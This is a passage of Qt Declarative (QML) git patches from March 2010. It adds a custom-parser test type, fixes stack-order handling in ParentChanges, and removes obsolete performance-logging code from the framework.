100644 --- a/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml +++ b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml @@ -1,6 +1,6 @@ import Test 1.0 import Qt 4.6 -PropertyChanges { +MyCustomParserType { propa: a + 10 propb: Math.min(a, 10) propc: MyPropertyValueSource {} diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp index 6efe755..623775a 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp @@ -51,6 +51,9 @@ void registerTypes() qmlRegisterType("Test",1,0,"MyNamespacedType"); qmlRegisterType("Test",1,0,"MySecondNamespacedType"); qmlRegisterType(); + + qmlRegisterCustomType("Test", 1, 0, "MyCustomParserType", "MyCustomParserType", + new MyCustomParserTypeParser); } QVariant myCustomVariantTypeConverter(const QString &data) diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h index 4963e2e..8c163a5 100644 --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h @@ -54,6 +54,8 @@ #include #include +#include + QVariant myCustomVariantTypeConverter(const QString &data); class MyInterface @@ -560,6 +562,20 @@ namespace MyNamespace { QML_DECLARE_TYPE(MyNamespace::MyNamespacedType); QML_DECLARE_TYPE(MyNamespace::MySecondNamespacedType); +class MyCustomParserType : public QObject +{ + Q_OBJECT +}; + +class MyCustomParserTypeParser : public QDeclarativeCustomParser +{ +public: + QByteArray compile(const QList &) { return QByteArray(); } + void setCustomData(QObject *, const QByteArray &) {} +}; + +QML_DECLARE_TYPE(MyCustomParserType); + void registerTypes(); #endif // TESTTYPES_H -- cgit v0.12 From 286a073085c1920cf891f479eb1a5f70b1c4daac Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 22 Mar 2010 12:52:51 +1000 Subject: Fix warning mentioned in the comments of QTBUG-9182. Make sure the 'stackBefore' sibling in ParentChanges is cleared if the target is the last child. --- src/declarative/util/qdeclarativestateoperations.cpp | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 0946e88..96c75a9 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -456,11 +456,10 @@ void QDeclarativeParentChange::saveCurrentValues() } d->rewindParent = d->target->parentItem(); + d->rewindStackBefore = 0; - if (!d->rewindParent) { - d->rewindStackBefore = 0; + if (!d->rewindParent) return; - } //try to determine the item's original stack position so we can restore it int siblingIndex = ((AccessibleFxItem*)d->target)->siblingIndex() + 1; -- cgit v0.12 From 45f9759f884ae34cd7e52ad5aebe23549cd4f6be Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 18 Mar 2010 14:56:22 +1000 Subject: Remove dead performance measurement code from QML --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 5 - src/declarative/graphicsitems/qdeclarativepath.cpp | 5 - .../graphicsitems/qdeclarativepositioners.cpp | 4 - src/declarative/graphicsitems/qdeclarativetext.cpp | 8 - .../graphicsitems/qdeclarativetextedit.cpp | 2 - src/declarative/qml/qdeclarativebinding.cpp | 5 - src/declarative/qml/qdeclarativecompiler.cpp | 6 +- src/declarative/qml/qdeclarativecomponent.cpp | 2 - src/declarative/qml/qdeclarativeengine.cpp | 2 - src/declarative/qml/qdeclarativeexpression.cpp | 8 - src/declarative/qml/qdeclarativeparser.cpp | 2 - src/declarative/qml/qdeclarativescriptparser.cpp | 5 - src/declarative/qml/qdeclarativevme.cpp | 3 +- src/declarative/util/qdeclarativepixmapcache.cpp | 2 - src/declarative/util/qdeclarativeutilmodule.cpp | 2 - src/declarative/util/qdeclarativeview.cpp | 12 -- src/declarative/util/qfxperf.cpp | 67 -------- src/declarative/util/qfxperf_p_p.h | 90 ---------- src/declarative/util/qperformancelog.cpp | 181 --------------------- src/declarative/util/qperformancelog_p_p.h | 141 ---------------- src/declarative/util/util.pri | 4 - src/imports/particles/qdeclarativeparticles.cpp | 4 - tools/qml/qmlruntime.cpp | 5 - 23 files changed, 2 insertions(+), 563 deletions(-) delete mode 100644 src/declarative/util/qfxperf.cpp delete mode 100644 src/declarative/util/qfxperf_p_p.h delete mode 100644 src/declarative/util/qperformancelog.cpp delete mode 100644 src/declarative/util/qperformancelog_p_p.h diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 4ba80ad..9b1bdba 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -45,7 +45,6 @@ #include "qdeclarativeevents_p_p.h" #include -#include #include #include #include @@ -2491,10 +2490,6 @@ void QDeclarativeItem::classBegin() */ void QDeclarativeItem::componentComplete() { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer cc; -#endif - Q_D(QDeclarativeItem); d->_componentComplete = true; if (d->_stateGroup) diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp index 80586b8..20fa983 100644 --- a/src/declarative/graphicsitems/qdeclarativepath.cpp +++ b/src/declarative/graphicsitems/qdeclarativepath.cpp @@ -42,8 +42,6 @@ #include "qdeclarativepath_p.h" #include "qdeclarativepath_p_p.h" -#include - #include #include @@ -356,9 +354,6 @@ static inline QBezier nextBezier(const QPainterPath &path, int *from, qreal *bez void QDeclarativePath::createPointCache() const { Q_D(const QDeclarativePath); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer pc; -#endif qreal pathLength = d->_path.length(); const int points = int(pathLength*2); const int lastElement = d->_path.elementCount() - 1; diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 3391ac9..ded58f5 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -46,7 +46,6 @@ #include #include #include -#include #include #include @@ -164,9 +163,6 @@ void QDeclarativeBasePositioner::componentComplete() { Q_D(QDeclarativeBasePositioner); QDeclarativeItem::componentComplete(); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer cc; -#endif positionedItems.reserve(d->QGraphicsItemPrivate::children.count()); prePositioning(); } diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index 05139f6..b0b5f6d 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -43,8 +43,6 @@ #include "qdeclarativetext_p_p.h" #include -#include - #include #include #include @@ -152,9 +150,6 @@ void QDeclarativeText::setFont(const QFont &font) void QDeclarativeText::setText(const QString &n) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer st; -#endif Q_D(QDeclarativeText); if (d->text == n) return; @@ -876,9 +871,6 @@ void QDeclarativeText::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWid void QDeclarativeText::componentComplete() { Q_D(QDeclarativeText); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer cc; -#endif QDeclarativeItem::componentComplete(); if (d->dirty) { d->updateLayout(); diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index dbae47d..7dacfbb 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -44,8 +44,6 @@ #include "qdeclarativeevents_p_p.h" -#include - #include #include #include diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 090bd5b..a7047ab 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -49,8 +49,6 @@ #include "qdeclarativedeclarativedata_p.h" #include "qdeclarativestringconverters_p.h" -#include - #include #include @@ -126,9 +124,6 @@ void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags) { Q_D(QDeclarativeBinding); -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer bu; -#endif QDeclarativeBindingData *data = d->bindingData(); if (!data->enabled) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 42d2950..103e918 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -67,8 +67,6 @@ #include "qdeclarativecompiledbindings_p.h" #include "qdeclarativeglobalscriptclass_p.h" -#include - #include #include #include @@ -77,6 +75,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE @@ -546,9 +545,6 @@ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine, QDeclarativeCompositeTypeData *unit, QDeclarativeCompiledData *out) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer pc; -#endif exceptions.clear(); Q_ASSERT(out); diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index 8922751..ec595e3 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -54,8 +54,6 @@ #include "qdeclarativeglobal_p.h" #include "qdeclarativescriptparser_p.h" -#include - #include #include #include diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index f49b17d..5820961 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -69,8 +69,6 @@ #include "qdeclarativelist_p.h" #include "qdeclarativetypenamecache_p.h" -#include - #include #include #include diff --git a/src/declarative/qml/qdeclarativeexpression.cpp b/src/declarative/qml/qdeclarativeexpression.cpp index 9eed345..b7ee3a4 100644 --- a/src/declarative/qml/qdeclarativeexpression.cpp +++ b/src/declarative/qml/qdeclarativeexpression.cpp @@ -353,10 +353,6 @@ void QDeclarativeExpressionPrivate::exceptionToError(QScriptEngine *scriptEngine QVariant QDeclarativeExpressionPrivate::evalQtScript(QObject *secondaryScope, bool *isUndefined) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer perfqt; -#endif - QDeclarativeExpressionData *data = this->data; QDeclarativeEngine *engine = data->context()->engine; QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine); @@ -466,10 +462,6 @@ QVariant QDeclarativeExpressionPrivate::value(QObject *secondaryScope, bool *isU if (data->expression.isEmpty()) return rv; -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer perf; -#endif - QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(q->engine()); QDeclarativeExpression *lastCurrentExpression = ep->currentExpression; diff --git a/src/declarative/qml/qdeclarativeparser.cpp b/src/declarative/qml/qdeclarativeparser.cpp index 51f1660..6e6080e 100644 --- a/src/declarative/qml/qdeclarativeparser.cpp +++ b/src/declarative/qml/qdeclarativeparser.cpp @@ -52,8 +52,6 @@ #include "parser/qdeclarativejsast_p.h" #include "parser/qdeclarativejsengine_p.h" -#include - #include #include #include diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index fe516c5..2578ff4 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -50,8 +50,6 @@ #include "parser/qdeclarativejsast_p.h" #include "qdeclarativerewrite_p.h" -#include - #include #include #include @@ -866,9 +864,6 @@ public: bool QDeclarativeScriptParser::parse(const QByteArray &qmldata, const QUrl &url) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer pt; -#endif clear(); const QString fileName = url.toString(); diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp index 4457404..b3144a8 100644 --- a/src/declarative/qml/qdeclarativevme.cpp +++ b/src/declarative/qml/qdeclarativevme.cpp @@ -61,8 +61,6 @@ #include "qdeclarativeglobal_p.h" #include "qdeclarativescriptstring.h" -#include - #include #include #include @@ -72,6 +70,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index 942d5f6..e78fdf1 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -43,8 +43,6 @@ #include "qdeclarativenetworkaccessmanagerfactory.h" #include "qdeclarativeimageprovider.h" -#include "qfxperf_p_p.h" - #include #include #include diff --git a/src/declarative/util/qdeclarativeutilmodule.cpp b/src/declarative/util/qdeclarativeutilmodule.cpp index 4d4678a..cb35734 100644 --- a/src/declarative/util/qdeclarativeutilmodule.cpp +++ b/src/declarative/util/qdeclarativeutilmodule.cpp @@ -40,7 +40,6 @@ ****************************************************************************/ #include "qdeclarativeutilmodule_p.h" -#include "qfxperf_p_p.h" #include "qdeclarativeanimation_p.h" #include "qdeclarativeanimation_p_p.h" #include "qdeclarativebehavior_p.h" @@ -71,7 +70,6 @@ #ifndef QT_NO_XMLPATTERNS #include "qdeclarativexmllistmodel_p.h" #endif -#include "qperformancelog_p_p.h" void QDeclarativeUtilModule::defineModule() { diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index 59a062a..c2dbf92 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -41,9 +41,6 @@ #include "qdeclarativeview.h" -#include "qperformancelog_p_p.h" -#include "qfxperf_p_p.h" - #include #include #include @@ -251,13 +248,6 @@ QDeclarativeView::QDeclarativeView(const QUrl &source, QWidget *parent) void QDeclarativeViewPrivate::init() { -#ifdef Q_ENABLE_PERFORMANCE_LOG - { - QDeclarativePerfTimer perf; - QFontDatabase database; - } -#endif - q->setScene(&scene); q->setOptimizationFlags(QGraphicsView::DontSavePainterState); @@ -455,8 +445,6 @@ void QDeclarativeView::setRootObject(QObject *obj) if (QDeclarativeItem *item = qobject_cast(obj)) { d->scene.addItem(item); - QPerformanceLog::displayData(); - QPerformanceLog::clear(); d->root = item; d->qmlRoot = item; connect(item, SIGNAL(widthChanged(qreal)), this, SLOT(sizeChanged())); diff --git a/src/declarative/util/qfxperf.cpp b/src/declarative/util/qfxperf.cpp deleted file mode 100644 index 5611c49..0000000 --- a/src/declarative/util/qfxperf.cpp +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qfxperf_p_p.h" - -QT_BEGIN_NAMESPACE - -Q_DEFINE_PERFORMANCE_LOG(QDeclarativePerf, "QDeclarativeGraphics") { - Q_DEFINE_PERFORMANCE_METRIC(QDeclarativeParsing, "Compilation: QML Parsing") - Q_DEFINE_PERFORMANCE_METRIC(Compilation, " QML Compilation") - Q_DEFINE_PERFORMANCE_METRIC(VMEExecution, "Execution: QML VME Execution") - Q_DEFINE_PERFORMANCE_METRIC(BindInit, "BindValue Initialization") - Q_DEFINE_PERFORMANCE_METRIC(BindValue, "BindValue execution") - Q_DEFINE_PERFORMANCE_METRIC(BindValueSSE, "BindValue execution SSE") - Q_DEFINE_PERFORMANCE_METRIC(BindValueQt, "BindValue execution QtScript") - Q_DEFINE_PERFORMANCE_METRIC(BindableValueUpdate, "QDeclarativeBinding::update") - Q_DEFINE_PERFORMANCE_METRIC(PixmapLoad, "Pixmap loading") - Q_DEFINE_PERFORMANCE_METRIC(FontDatabase, "Font database creation") - Q_DEFINE_PERFORMANCE_METRIC(QDeclarativePathViewPathCache, "FX Items: QDeclarativePathView: Path cache") - Q_DEFINE_PERFORMANCE_METRIC(CreateParticle, " QDeclarativeParticles: Particle creation") - Q_DEFINE_PERFORMANCE_METRIC(ItemComponentComplete, " QDeclarativeItem::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(ImageComponentComplete, " QDeclarativeImage::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(BaseLayoutComponentComplete, " QDeclarativeBasePositioner::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(TextComponentComplete, " QDeclarativeText::componentComplete") - Q_DEFINE_PERFORMANCE_METRIC(QDeclarativeText_setText, " QDeclarativeText::setText") - Q_DEFINE_PERFORMANCE_METRIC(AddScript, "QDeclarativeScript::addScriptToEngine") -} - -QT_END_NAMESPACE diff --git a/src/declarative/util/qfxperf_p_p.h b/src/declarative/util/qfxperf_p_p.h deleted file mode 100644 index 8b65821..0000000 --- a/src/declarative/util/qfxperf_p_p.h +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef QFXPERF_H -#define QFXPERF_H - -// -// W A R N I N G -// ------------- -// -// This file is not part of the Qt API. It exists purely as an -// implementation detail. This header file may change from version to -// version without notice, or even be removed. -// -// We mean it. -// - -#include "qperformancelog_p_p.h" - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -QT_MODULE(Declarative) - -Q_DECLARE_PERFORMANCE_LOG(QDeclarativePerf) { - Q_DECLARE_PERFORMANCE_METRIC(QDeclarativeParsing) - - Q_DECLARE_PERFORMANCE_METRIC(Compilation) - Q_DECLARE_PERFORMANCE_METRIC(VMEExecution) - - Q_DECLARE_PERFORMANCE_METRIC(BindInit) - Q_DECLARE_PERFORMANCE_METRIC(BindValue) - Q_DECLARE_PERFORMANCE_METRIC(BindValueSSE) - Q_DECLARE_PERFORMANCE_METRIC(BindValueQt) - Q_DECLARE_PERFORMANCE_METRIC(BindableValueUpdate) - Q_DECLARE_PERFORMANCE_METRIC(PixmapLoad) - Q_DECLARE_PERFORMANCE_METRIC(FontDatabase) - Q_DECLARE_PERFORMANCE_METRIC(QDeclarativePathViewPathCache) - Q_DECLARE_PERFORMANCE_METRIC(CreateParticle) - Q_DECLARE_PERFORMANCE_METRIC(ItemComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(ImageComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(BaseLayoutComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(TextComponentComplete) - Q_DECLARE_PERFORMANCE_METRIC(QDeclarativeText_setText) - Q_DECLARE_PERFORMANCE_METRIC(AddScript) -} - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QFXPERF_H diff --git a/src/declarative/util/qperformancelog.cpp b/src/declarative/util/qperformancelog.cpp deleted file mode 100644 index 83cc919..0000000 --- a/src/declarative/util/qperformancelog.cpp +++ /dev/null @@ -1,181 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qperformancelog_p_p.h" - -#include -#include - -QT_BEGIN_NAMESPACE - -#ifdef Q_ENABLE_PERFORMANCE_LOG - -struct QPerformanceLogData -{ - struct Log - { - Log() - : logDescription(0), maxId(-1) {} - - QHash descriptions; - const char *logDescription; - int maxId; - }; - - typedef QHash Logs; - Logs logs; -}; -Q_GLOBAL_STATIC(QPerformanceLogData, performanceLogData); - -QPerformanceLog::LogData::LogData(const char *desc) -: sumTime(0), data(0) -{ - QPerformanceLogData *logData = performanceLogData(); - - QPerformanceLogData::Log log; - log.logDescription = desc; - logData->logs.insert(this, log); - - timer.start(); -} - -QPerformanceLog::LogMetric::LogMetric(LogData *l, int id, const char *desc) -{ - if (id < 0) - qFatal("QPerformanceLog: Invalid log id %d ('%s')", id, desc); - - QPerformanceLogData *logData = performanceLogData(); - - QPerformanceLogData::Logs::Iterator logIter = logData->logs.find(l); - if (logIter == logData->logs.end()) - qFatal("QPerformanceLog: Unable to locate log for metric '%s'", desc); - QPerformanceLogData::Log &log = *logIter; - if (log.descriptions.contains(id)) - qFatal("QPerformanceLog: Duplicate log metric %d ('%s')", id, desc); - log.descriptions.insert(id, desc); - - if (log.maxId < id) { - log.maxId = id; - if (l->data) delete [] l->data; - l->data = new unsigned int[2 * (log.maxId + 1)]; - ::memset(l->data, 0, 2 * (log.maxId + 1) * sizeof(unsigned int)); - } -} - -static void QPerformanceLog_clear(QPerformanceLog::LogData *l, const QPerformanceLogData::Log *pl) -{ - ::memset(l->data, 0, 2 * (pl->maxId + 1) * sizeof(unsigned int)); -} - -static void QPerformanceLog_displayData(const QPerformanceLog::LogData *l, const QPerformanceLogData::Log *pl) -{ - qWarning() << pl->logDescription << "performance data"; - unsigned int total = 0; - for (QHash::ConstIterator iter = pl->descriptions.begin(); - iter != pl->descriptions.end(); - ++iter) { - - int id = iter.key(); - unsigned int ms = l->data[id * 2]; - total += ms; - unsigned int inst = l->data[id * 2 + 1]; - float pi = float(ms) / float(inst); - qWarning().nospace() << " " << *iter << ": " << ms << " ms over " - << inst << " instances (" << pi << " ms/instance)"; - } - qWarning().nospace() << " TOTAL: " << total; -} - -void QPerformanceLog::displayData() -{ - QPerformanceLogData *logData = performanceLogData(); - - for (QPerformanceLogData::Logs::ConstIterator iter = logData->logs.begin(); - iter != logData->logs.end(); - ++iter) { - QPerformanceLog_displayData(iter.key(), &(*iter)); - } -} - -void QPerformanceLog::clear() -{ - QPerformanceLogData *logData = performanceLogData(); - - for (QPerformanceLogData::Logs::ConstIterator iter = logData->logs.begin(); - iter != logData->logs.end(); - ++iter) { - QPerformanceLog_clear(iter.key(), &(*iter)); - } -} - -void QPerformanceLog::displayData(LogData *l) -{ - QPerformanceLogData *logData = performanceLogData(); - QPerformanceLogData::Logs::ConstIterator iter = logData->logs.find(l); - if (iter == logData->logs.end()) - qFatal("QPerformanceLog: Internal corruption - unable to locate log"); - - QPerformanceLog_displayData(iter.key(), &(*iter)); -} - -void QPerformanceLog::clear(LogData *l) -{ - QPerformanceLogData *logData = performanceLogData(); - QPerformanceLogData::Logs::ConstIterator iter = logData->logs.find(l); - if (iter == logData->logs.end()) - qFatal("QPerformanceLog: Internal corruption - unable to locate log"); - - QPerformanceLog_clear(iter.key(), &(*iter)); -} - -#else // Q_ENABLE_PERFORMANCE_LOG - -void QPerformanceLog::displayData() -{ -} - -void QPerformanceLog::clear() -{ -} - -#endif // Q_ENABLE_PERFORMANCE_LOG - -QT_END_NAMESPACE diff --git a/src/declarative/util/qperformancelog_p_p.h b/src/declarative/util/qperformancelog_p_p.h deleted file mode 100644 index a212f28..0000000 --- a/src/declarative/util/qperformancelog_p_p.h +++ /dev/null @@ -1,141 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QPERFORMANCELOG_H -#define QPERFORMANCELOG_H - -#include - -QT_BEGIN_NAMESPACE - -namespace QPerformanceLog -{ - Q_DECLARATIVE_EXPORT void displayData(); - Q_DECLARATIVE_EXPORT void clear(); - -#ifdef Q_ENABLE_PERFORMANCE_LOG - struct LogData { - LogData(const char *); - QTime timer; - int sumTime; - unsigned int *data; - }; - - struct LogMetric { - LogMetric(LogData *, int, const char *); - }; - - // Internal - void displayData(LogData *); - void clear(LogData *); -#endif -} - -#ifdef Q_ENABLE_PERFORMANCE_LOG - -#define Q_DECLARE_PERFORMANCE_METRIC(name) \ - enum { name = ValueChoice<0, ValueTracker<0, __LINE__>::value, __LINE__>::value }; \ - template \ - struct ValueTracker \ - { \ - enum { value = name }; \ - }; \ - extern QPerformanceLog::LogMetric metric ## name; - -#define Q_DECLARE_PERFORMANCE_LOG(name) \ - namespace name { \ - extern QPerformanceLog::LogData log; \ - inline void displayData() { QPerformanceLog::displayData(&log); } \ - inline void clear() { QPerformanceLog::clear(&log); } \ - } \ - template \ - class name ## Timer { \ - public: \ - name ## Timer() { \ - lastSum = name::log.sumTime + name::log.timer.restart(); \ - name::log.sumTime = 0; \ - } \ - ~ name ## Timer() { \ - name::log.data[2 * N] += name::log.sumTime + name::log.timer.restart(); \ - ++name::log.data[2 * N + 1]; \ - name::log.sumTime = lastSum; \ - } \ - private: \ - int lastSum; \ - }; \ - namespace name { \ - template \ - struct ValueTracker \ - { \ - enum { value = -1 }; \ - }; \ - template \ - struct ValueChoice \ - { \ - enum { value = ValueChoice::value, L>::value }; \ - }; \ - template \ - struct ValueChoice \ - { \ - enum { value = DefNextValue }; \ - }; \ - } \ - namespace name - -#define Q_DEFINE_PERFORMANCE_LOG(name, desc) \ - QPerformanceLog::LogData name::log(desc); \ - namespace name - -#define Q_DEFINE_PERFORMANCE_METRIC(name, desc) \ - QPerformanceLog::LogMetric metrix ## name(&log, name, desc); - -#else // Q_ENABLE_PERFORMANCE_LOG - -#define Q_DECLARE_PERFORMANCE_METRIC(name) -#define Q_DECLARE_PERFORMANCE_LOG(name) namespace name -#define Q_DEFINE_PERFORMANCE_LOG(name, desc) namespace name -#define Q_DEFINE_PERFORMANCE_METRIC(name, desc) - -#endif // Q_ENABLE_PERFORMANCE_LOG - -QT_END_NAMESPACE - -#endif // QPERFORMANCELOG_H diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri index ddf00ea..61b4f6f 100644 --- a/src/declarative/util/util.pri +++ b/src/declarative/util/util.pri @@ -3,8 +3,6 @@ INCLUDEPATH += $$PWD SOURCES += \ $$PWD/qdeclarativeutilmodule.cpp\ $$PWD/qdeclarativeview.cpp \ - $$PWD/qfxperf.cpp \ - $$PWD/qperformancelog.cpp \ $$PWD/qdeclarativeconnections.cpp \ 